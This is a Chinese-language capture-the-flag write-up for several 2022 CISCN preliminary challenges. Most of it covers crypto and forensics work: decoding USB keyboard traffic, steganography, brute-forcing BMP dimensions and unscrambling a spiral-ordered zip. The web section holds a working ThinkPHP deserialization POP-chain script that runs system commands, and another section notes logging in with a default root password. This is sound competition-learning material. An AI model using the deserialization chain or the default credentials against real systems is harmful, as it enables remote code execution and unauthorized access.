第15届全国大学生知识竞赛场景实操 2022ciscn初赛 部分writeup_基于挑战码的双向认证

Crypto

签到电台

签到，发送消息先，得到题目

“弼时安全到达了”所对应的7个电码：
1732 2514 1344 0356 0451 6671 0055

模十算法示例：1732与6378得到7000

发包示例：/send?msg=s

与密码本模10运算，得到2979481690868655519524457577

然后发包

基于挑战码的双向认证1

基于挑战码的双向认证2

和上次那个啥比赛一样的非预期，同样是i春秋的某场比赛，直接grep -r “flag{” /

就能找到flag

基于挑战码的双向认证3

不是 同上方法能出一个fake flag

我以为修了

半个小时？ 又出来一坨人

这次是把web题放crypto吗(?

root密码toor(某些虚拟机就是这个密码)，然后在老位置找到flag2.txt

Misc

ez_usb

很明显的键盘流量，但是直接导出是错误的，这里也能发现版本有2.8.1和2.10.1两种，因此猜测需要分别导出

导出2.8.1:tshark -r ez_usb.pcapng -T fields -e usbhid.data -Y "usb.device_address == 8"> 281.txt

导出2.10.1:tshark -r ez_usb.pcapng -T fields -e usbhid.data -Y "usb.device_address == 10"> 2101.txt
怪的是，直接导usb.src不行，甚至是字符串格式了也导不出来2.8.1和2.10.1，怪

键盘 网上的脚本

import os
# os.system("tshark -r test.pcapng -T fields -e usb.capdata > usbdata.txt")
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}


nums = []
keys = open('281.txt')
for line in keys:
    if len(line)!=17: #首先过滤掉鼠标等其他设备的USB流量
         continue
    nums.append(line[0:2]+line[4:6]) #取一、三字节
keys.close()
output = ""
for n in nums:
    if n[2:4] == "00" :
        continue

    if n[2:4] in normalKeys:
        if n[0:2]=="02": #表示按下了shift
            output += shiftKeys [n[2:4]]
        else :
            output += normalKeys [n[2:4]]
    else:
        output += '[unknown]'
print('output :n' + output)
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一个压缩包(需要删掉del前面的c和最后的e)，一个密码35c535765e50074a，解压得到flag

everlasting_night

A2通道有个密码

根据rgb0通道都有LSB，但是解不出来，而且有个密码，猜测是ichunqiu最喜欢的cloacked-pixel

通过lsb.py，解出一个压缩包。

其次，在最开头的png的文件尾，有16字节的额外数据，通过异或，爆破都无法解出，然后尝试md5发现能解出来(cmd5甚至不能解)

5语

然后解出来是个png，但是zlib过后全是00然后再是某个data，而且后面不像经过zlib压缩或者哈夫曼的，再结合bmp头部正好到data，直接锁定bmp，用QQ截图生成一张新的bmp图然后替换过去，把位深改成24之后爆破宽度

在宽度为352的时候爆破出来

爆破的脚本用祖传,一共400多行（很多都可以爆），下面只给出bmp部分

def crackbmp():
	bmph=fr[22:26]
	print(type(bmph))
	print(bmph)
	k=int.from_bytes(bmph,'little',signed=True)
	print(k)
	if k<0:

		headdata = bytearray(fr[0:18])
		widthdata = bytearray(fr[18:22])
		heightdata = bytearray(fr[22:26])
		remaindata = bytearray(fr[26::])



		# n = 2000

		h1 = -h
		
		#h=h&0xffffffff

		print (h1)

		path=os.getcwd()
		tmppath=path+'\\tmpbmpnormal'
		print(tmppath)

		if os.path.exists(tmppath):
			os.chdir(tmppath)
		else:
			os.mkdir(tmppath)
			os.chdir(tmppath)

		heightdata=h1.to_bytes(4, 'little',signed=True)


		for w in range(1,n): 
			widthdata=w.to_bytes(4, 'little')

			newfile=headdata+widthdata+heightdata+remaindata
			fw = open(str(w)+'.bmp','wb') 
			fw.write(newfile) 
			fw.close 


	else:
		headdata = bytearray(fr[0:18])
		widthdata = bytearray(fr[18:22])
		heightdata = bytearray(fr[22:26])
		remaindata = bytearray(fr[26::])

		

		# n = 2000

		# h = 300

		path=os.getcwd()
		tmppath=path+'\\tmpbmpreverse'
		print(tmppath)

		if os.path.exists(tmppath):
			os.chdir(tmppath)
		else:
			os.mkdir(tmppath)
			os.chdir(tmppath)

		heightdata=h.to_bytes(4, 'little',signed=True)


		for w in range(1,n): 
			widthdata=w.to_bytes(4, 'little')

		#	print (widthdata)

			newfile=headdata+widthdata+heightdata+remaindata
			fw = open(str(w)+'.bmp','wb') 
			fw.write(newfile) 
			fw.close 	
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'
运行
运行

问卷

babydisk

首先是一个wav，然后在恢复的时候能看到回收站有一个文件，经过测试，wav是deepsound

得到密码feedback，然后deepsound去解

key:e575ac894c385a6f

好，接下来是那个没有名字的文件，这里在取证的时候放取证大师

很好，是加密的文件，测试后发现是veracrypt，得到一个zip，但是很怪，诶翻译一下zip的名字发现是螺旋

看了一下字节大小

很好，我很欣赏

网上找个python的算法

https://blog.csdn.net/GW_wg/article/details/120406192

def function(n):
    matrix = [[0] * n for _ in range(n)]

    number = 1
    left, right, up, down = 0, n - 1, 0, n - 1
    while left < right and up < down:
        # 从左到右
        for i in range(left, right):
            matrix[up][i] = number
            number += 1

        # 从上到下
        for i in range(up, down):
            matrix[i][right] = number
            number += 1

        # 从右向左
        for i in range(right, left, -1):
            matrix[down][i] = number
            number += 1

        for i in range(down, up, -1):
            matrix[i][left] = number
            number += 1
        left += 1
        right -= 1
        up += 1
        down -= 1
    # n 为奇数的时候，正方形中间会有个单独的空格需要单独填充
    if n % 2 != 0:
        matrix[n // 2][n // 2] = number
    return matrix
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'
运行
运行

很好，然后会输出螺旋的顺序，直接调用拼起来就行了，完整如下

def function(n):
    matrix = [[0] * n for _ in range(n)]

    number = 1
    left, right, up, down = 0, n - 1, 0, n - 1
    while left < right and up < down:
        # 从左到右
        for i in range(left, right):
            matrix[up][i] = number
            number += 1

        # 从上到下
        for i in range(up, down):
            matrix[i][right] = number
            number += 1

        # 从右向左
        for i in range(right, left, -1):
            matrix[down][i] = number
            number += 1

        for i in range(down, up, -1):
            matrix[i][left] = number
            number += 1
        left += 1
        right -= 1
        up += 1
        down -= 1
    # n 为奇数的时候，正方形中间会有个单独的空格需要单独填充
    if n % 2 != 0:
        matrix[n // 2][n // 2] = number
    return matrix

f = open('spiral.zip','rb').read()
s = function(87)
# print(s)
s = sum(s,[])
#print(s)

f1 = open('fla.zip','wb')
arr = [0]*7569
# print(arr)
for i in range(len(s)):
    arr[i] = f[s[i]-1]
#print(arr)
# print(arr)
for i in arr:
    print(hex(i)[2:].zfill(2),end='')
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然后notepad++转换一下hex

长度49，很好，接着螺旋

很好，很欣赏->flag{701fa9fe-63f5-410b-93d4-119f96965be6}

Web

Ezpop

www.zip下载源码，控制器中存在反序列化

https://www.freebuf.com/vuls/321546.html

构造链子

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat /flag.txt']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
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然后 cyber解一下base在urlencode，直接这里urlencode我没成功…